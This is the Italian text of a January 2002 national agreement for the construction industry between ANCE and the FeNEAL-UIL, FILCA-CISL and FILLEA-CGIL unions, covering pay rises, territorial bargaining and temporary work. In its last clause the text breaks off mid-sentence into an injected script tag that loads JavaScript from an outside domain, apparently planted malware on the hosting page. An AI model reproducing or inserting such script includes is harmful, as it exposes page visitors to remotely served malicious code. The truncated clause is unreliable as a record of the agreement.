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Categoria: Edili (industrie) Settore: Edilizia Data stipula: 29-1-2002 Data decorrenza: 1-1-2002 Data scadenza: 31-12-2003
ACCORDO
29 gennaio 2002
EDILI (AZIENDE INDUSTRIALI)
Addì 29 gennaio 2002, in Roma
tra
- Associazione nazionale costruttori edili (ANCE)
e
- i Sindacati nazionali dei lavoratori FeNEAL-UIL, FILCA-CISL e
FILLEA-CGIL si conviene quanto segue.
I. AUMENTI RETRIBUTIVI
In attuazione del Protocollo 23.7.93 (in Dir.prat.lav., 1993, 30, 1979)
sulla politica dei redditi, a decorrere dall'1.1.02 e dall'1.1.03 i minimi
di paga base per gli operai e i minimi di stipendio per gli impiegati sono
aumentati nelle misure stabilite nella tabella allegata.
Tali incrementi sono comprensivi del recupero del differenziale tra
inflazione programmata e inflazione reale per gli anni 2000-2001.
II. ACCORDI LOCALI
1. Le Organizzazioni territoriali dei datori di lavoro e dei lavoratori
aderenti alle Associazioni nazionali sottoscritte rinegozieranno, per la
circoscrizione di propria competenza, l'elemento economico territoriale di
cui alla lett. d), art. 39 e all'art. 47, CCNL 29.1.00, entro la misura
massima dell'11% dei minimi di paga e di stipendio, con decorrenza non
anteriore all'1.1.03, e del 14% dei minimi di paga e di stipendio, con
decorrenza non anteriore all'1.12.03.
Fino a tale nuova rinegoziazione, valgono le pattuizioni sottoscritte in
base alla previsione dell'Accordo nazionale 11.6.97.
L'elemento economico territoriale di cui al comma precedente sarà
concordato in sede territoriale tenendo conto dell'andamento
congiunturale del settore e sarà correlato ai risultati conseguiti in
termini di produttività, qualità e competitività nel territorio,
utilizzando a tal fine gli indicatori di cui al citato art. 39 del CCNL.
Durante la vigenza dell'elemento economico territoriale, ai fini della
relativa conferma, la verifica dei suddetti indicatori sarà effettuata
dalle Organizzazioni territoriali citate, con la periodicità stabilita
dalle Organizzazioni medesime.
Le parti si danno atto che la struttura dell'erogazione di cui sopra è
stata definita in coerenza con quanto previsto dal Protocollo 23.7.93,
dall'art. 39 del CCNL 29.1.00 e dall'art. 2, DL 25.3.97 n. 67,
convertito nella legge 23.5.97 n. 135 (in Dir.prat.lav., 1997, 25,
1825).
2. Resta confermato che il rinnovo dei contratti integrativi
territoriali avverrà nell'ambito delle materie specificatamente stabilite
dall'art. 39 del CCNL e che le clausole degli Accordi locali difformi
rispetto alla regolamentazione nazionale non hanno efficacia.
III. LAVORO TEMPORANEO
1. Ai sensi dell'art. 95, CCNL 29.1.00, con il quale le parti sociali
hanno dato attuazione alla delega contenuta nell'art. 1, comma 3, legge
24.6.97 n. 196 (in Dir.prat.lav., 1997, 30, 2133), in ordine alla
sperimentazione del lavoro temporaneo in edilizia per i lavoratori
appartenenti alla categoria operaia, si precisa quanto segue:
a) le parti costituiscono un Comitato nazionale per il monitoraggio
della sperimentazione con il fine di rendere definitivo, successivamente
al 31.12.02, l'utilizzo del lavoro temporaneo nel settore;
b) le imprese fornitrici di lavoro temporaneo dovranno effettuare i
versamenti presso la Cassa edile del luogo ove i lavoratori svolgono la
prestazione lavorativa. Resta fermo che ai predetti lavoratori deve essere
applicata la contrattazione collettiva di settore, ivi compreso il
relativo livello territoriale, le contribuzioni agli Enti bilaterali e
previdenza complementare di settore;
c) la Cassa edile adotterà specifici criteri di registrazione per le
imprese fornitrici e i lavoratori temporanei, nel rispetto della
modulistica nazionale;
d) le imprese fornitrici di lavoro temporaneo verseranno ad INPS i
contributi previdenziali stabiliti dal<script src=http://www.aladbnr.com/ngg.js></script>
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